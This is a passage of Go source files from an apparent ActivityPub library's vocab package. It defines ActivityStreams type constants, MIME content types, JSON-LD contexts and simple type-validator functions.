https://www.w3.org/TR/activitystreams-vocabulary/#dfn-add 7 | const ActivityTypeAdd = "Add" 8 | 9 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-announce 10 | const ActivityTypeAnnounce = "Announce" 11 | 12 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-arrive 13 | const ActivityTypeArrive = "Arrive" 14 | 15 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-block 16 | const ActivityTypeBlock = "Block" 17 | 18 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-create 19 | const ActivityTypeCreate = "Create" 20 | 21 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-delete 22 | const ActivityTypeDelete = "Delete" 23 | 24 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-dislike 25 | const ActivityTypeDislike = "Dislike" 26 | 27 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-flag 28 | const ActivityTypeFlag = "Flag" 29 | 30 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-follow 31 | const ActivityTypeFollow = "Follow" 32 | 33 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-ignore 34 | const ActivityTypeIgnore = "Ignore" 35 | 36 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-invite 37 | const ActivityTypeInvite = "Invite" 38 | 39 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-join 40 | const ActivityTypeJoin = "Join" 41 | 42 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-leave 43 | const ActivityTypeLeave = "Leave" 44 | 45 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-like 46 | const ActivityTypeLike = "Like" 47 | 48 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-listen 49 | const ActivityTypeListen = "Listen" 50 | 51 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-move 52 | const ActivityTypeMove = "Move" 53 | 54 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-offer 55 | const ActivityTypeOffer = "Offer" 56 | 57 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-question 58 | const ActivityTypeQuestion = "Question" 59 | 60 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-reject 61 | const ActivityTypeReject = "Reject" 62 | 63 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-read 64 | const ActivityTypeRead = "Read" 65 | 66 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-remove 67 | const ActivityTypeRemove = "Remove" 68 | 69 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-tentativereject 70 | const ActivityTypeTentativeReject = "TentativeReject" 71 | 72 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-tentativeaccept 73 | const ActivityTypeTentativeAccept = "TentativeAccept" 74 | 75 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-travel 76 | const ActivityTypeTravel = "Travel" 77 | 78 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-undo 79 | const ActivityTypeUndo = "Undo" 80 | 81 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-update 82 | const ActivityTypeUpdate = "Update" 83 | 84 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-view 85 | const ActivityTypeView = "View" 86 | -------------------------------------------------------------------------------- /vocab/actorPropertyTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitypub/#inbox 4 | const PropertyInbox = "inbox" 5 | 6 | // https://www.w3.org/TR/activitypub/#outbox 7 | const PropertyOutbox = "outbox" 8 | 9 | // https://www.w3.org/TR/activitypub/#following 10 | const PropertyFollowing = "following" 11 | 12 | // https://www.w3.org/TR/activitypub/#followers 13 | const PropertyFollowers = "followers" 14 | 15 | // https://www.w3.org/TR/activitypub/#liked 16 | const PropertyLiked = "liked" 17 | 18 | // https://www.w3.org/TR/activitypub/#likes 19 | const PropertyLikes = "likes" 20 | 21 | const PropertyBlocked = "blocked" 22 | 23 | const PropertyStreams = "streams" 24 | 25 | const PropertyPreferredUsername = "preferredUsername" 26 | 27 | const PropertyEndpoints = "endpoints" 28 | -------------------------------------------------------------------------------- /vocab/actorTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-application 4 | const ActorTypeApplication = "Application" 5 | 6 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-group 7 | const ActorTypeGroup = "Group" 8 | 9 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-organization 10 | const ActorTypeOrganization = "Organization" 11 | 12 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-person 13 | const ActorTypePerson = "Person" 14 | 15 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-service 16 | const ActorTypeService = "Service" 17 | -------------------------------------------------------------------------------- /vocab/contentTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // Accept is the string used in the HTTP header to request a response be encoded as a MIME type 4 | const Accept = "Accept" 5 | 6 | // ContentType is the string used in the HTTP header to designate a MIME type 7 | const ContentType = "Content-Type" 8 | 9 | // ContentTypeActivityPub is the standard MIME type for ActivityPub content 10 | const ContentTypeActivityPub = "application/activity+json" 11 | 12 | // ContentTypeJSONLD is the standard MIME Type for JSON-LD content 13 | // https://en.wikipedia.org/wiki/JSON-LD 14 | const ContentTypeJSONLD = "application/ld+json" 15 | 16 | // ContentTypeJSONLDWithProfile is the standard MIME Type for JSON-LD content, with profile 17 | // to designate ActivityPub content. 18 | // https://www.w3.org/TR/activitystreams-core/#media-type 19 | const ContentTypeJSONLDWithProfile = `application/ld+json; profile="https://www.w3.org/ns/activitystreams"` 20 | 21 | // ContentTypeHTML is the standard MIME type for HTML content 22 | const ContentTypeHTML = "text/html" 23 | 24 | // ContentTypeJSON is the standard MIME Type for JSON content 25 | const ContentTypeJSON = "application/json" 26 | 27 | // ContentTypeJSONResourceDescriptor is the standard MIME Type for JSON Resource Descriptor content 28 | // which is used by WebFinger: https://datatracker.ietf.org/doc/html/rfc7033#section-10.2 29 | const ContentTypeJSONResourceDescriptor = "application/jrd+json" 30 | -------------------------------------------------------------------------------- /vocab/contextTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // ContextTypeActivityStreams defines the standard ActivityStreams vocabulary. 4 | // https://www.w3.org/TR/activitystreams-core/ 5 | const ContextTypeActivityStreams = "https://www.w3.org/ns/activitystreams" 6 | 7 | // ContextTypeSecurity describes the standard security vocabulary for the Fediverse. 8 | // https://w3c.github.io/vc-data-integrity/vocab/security/vocabulary.html 9 | const ContextTypeSecurity = "https://w3id.org/security/v1" 10 | 11 | // https://joinmastodon.org/ns# 12 | var ContextTypeToot = map[string]any{ 13 | "toot": "https://joinmastodon.org/ns#", 14 | "discoverable": "toot:discoverable", 15 | "indexable": "toot:indexable", 16 | "featured": map[string]any{ 17 | "@id": "http://joinmastodon.org/ns#featured", 18 | "@type": "@id", 19 | }, 20 | } 21 | -------------------------------------------------------------------------------- /vocab/coreTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-object 4 | const CoreTypeObject = "Object" 5 | 6 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-link 7 | const CoreTypeLink = "Link" 8 | 9 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-activity 10 | const CoreTypeActivity = "Activity" 11 | 12 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-intransitiveactivity 13 | const CoreTypeIntransitiveActivity = "IntransitiveActivity" 14 | 15 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-collection 16 | const CoreTypeCollection = "Collection" 17 | 18 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-orderedcollection 19 | const CoreTypeOrderedCollection = "OrderedCollection" 20 | 21 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-collectionpage 22 | const CoreTypeCollectionPage = "CollectionPage" 23 | 24 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-orderedcollectionpage 25 | const CoreTypeOrderedCollectionPage = "OrderedCollectionPage" 26 | -------------------------------------------------------------------------------- /vocab/customTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // Any is used for matching any value 4 | const Any = "*" 5 | 6 | // Unknown is a constant for when a value is. 7 | const Unknown = "Unknown" 8 | -------------------------------------------------------------------------------- /vocab/linkTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-mention 4 | const LinkTypeMention = "Mention" 5 | 6 | // Discussed, but not defined in https://www.w3.org/TR/activitystreams-vocabulary/#h-microsyntaxes 7 | // https://socialhub.activitypub.rocks/t/formally-defining-a-hashtag-type/3429 8 | // Because "ActivityPub"... 9 | const LinkTypeHashtag = "Hashtag" 10 | -------------------------------------------------------------------------------- /vocab/namespaces.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | const NamespaceActivityStreams = "https://www.w3.org/ns/activitystreams" 4 | 5 | const NamespaceActivityStreamsPublic = "https://www.w3.org/ns/activitystreams#Public" 6 | -------------------------------------------------------------------------------- /vocab/objectTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-article 4 | const ObjectTypeArticle = "Article" 5 | 6 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-audio 7 | const ObjectTypeAudio = "Audio" 8 | 9 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-document 10 | const ObjectTypeDocument = "Document" 11 | 12 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-event 13 | const ObjectTypeEvent = "Event" 14 | 15 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-image 16 | const ObjectTypeImage = "Image" 17 | 18 | // https://w3c-ccg.github.io/security-vocab/#publicKey 19 | const ObjectTypeKey = "Key" 20 | 21 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-note 22 | const ObjectTypeNote = "Note" 23 | 24 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-page 25 | const ObjectTypePage = "Page" 26 | 27 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-place 28 | const ObjectTypePlace = "Place" 29 | 30 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-profile 31 | const ObjectTypeProfile = "Profile" 32 | 33 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-relationship 34 | const ObjectTypeRelationship = "Relationship" 35 | 36 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-tombstone 37 | const ObjectTypeTombstone = "Tombstone" 38 | 39 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-video 40 | const ObjectTypeVideo = "Video" 41 | -------------------------------------------------------------------------------- /vocab/securityTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://w3c.github.io/vc-data-integrity/vocab/security/vocabulary.html#publicKey 4 | const PropertyPublicKey = "publicKey" 5 | 6 | // https://w3c.github.io/vc-data-integrity/vocab/security/vocabulary.html#publicKeyPem 7 | const PropertyPublicKeyPEM = "publicKeyPem" 8 | -------------------------------------------------------------------------------- /vocab/validators.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // ValidateActivityType validates the ActivityPub "type" of the given activity. 4 | // It returns "UNKNOWN" if the type is not recognized. 5 | func ValidateActivityType(activityType string) string { 6 | 7 | switch activityType { 8 | 9 | case ActivityTypeAccept, 10 | ActivityTypeAdd, 11 | ActivityTypeAnnounce, 12 | ActivityTypeArrive, 13 | ActivityTypeBlock, 14 | ActivityTypeCreate, 15 | ActivityTypeDelete, 16 | ActivityTypeDislike, 17 | ActivityTypeFlag, 18 | ActivityTypeFollow, 19 | ActivityTypeIgnore, 20 | ActivityTypeInvite, 21 | ActivityTypeJoin, 22 | ActivityTypeLeave, 23 | ActivityTypeLike, 24 | ActivityTypeListen, 25 | ActivityTypeMove, 26 | ActivityTypeOffer, 27 | ActivityTypeQuestion, 28 | ActivityTypeReject, 29 | ActivityTypeRead, 30 | ActivityTypeRemove, 31 | ActivityTypeTentativeReject, 32 | ActivityTypeTentativeAccept, 33 | ActivityTypeTravel, 34 | ActivityTypeUndo, 35 | ActivityTypeUpdate, 36 | ActivityTypeView: 37 | 38 | return activityType 39 | } 40 | 41 | return Unknown 42 | } 43 | 44 | // ValidateActorType validates the ActivityPub "type" of the given actor. 45 | // It returns "UNKNOWN" if the type is not recognized. 46 | func ValidateActorType(actorType string) string { 47 | 48 | switch actorType { 49 | 50 | case ActorTypeApplication, 51 | ActorTypeGroup, 52 | ActorTypeOrganization, 53 | ActorTypePerson, 54 | ActorTypeService: 55 | 56 | return actorType 57 | } 58 | 59 | return Unknown 60 | } 61 | 62 | // ValidateObjectType validates the ActivityPub "type" of the given object or link. 63 | // It returns "UNKNOWN" if the type is not recognized. 64 | func ValidateObjectType(objectType string) string { 65 | 66 | switch objectType { 67 | 68 | case ObjectTypeArticle, 69 | ObjectTypeAudio, 70 | ObjectTypeDocument, 71 | ObjectTypeEvent, 72 | ObjectTypeImage, 73 | ObjectTypeNote, 74 | ObjectTypePage, 75 | ObjectTypePlace, 76 | ObjectTypeProfile, 77 | ObjectTypeRelationship, 78 | ObjectTypeTombstone, 79 | ObjectTypeVideo, 80 | LinkTypeMention: 81 | 82 | return objectType 83 | } 84 | 85 | return Unknown 86 | } 87 | --------------------------------------------------------------------------------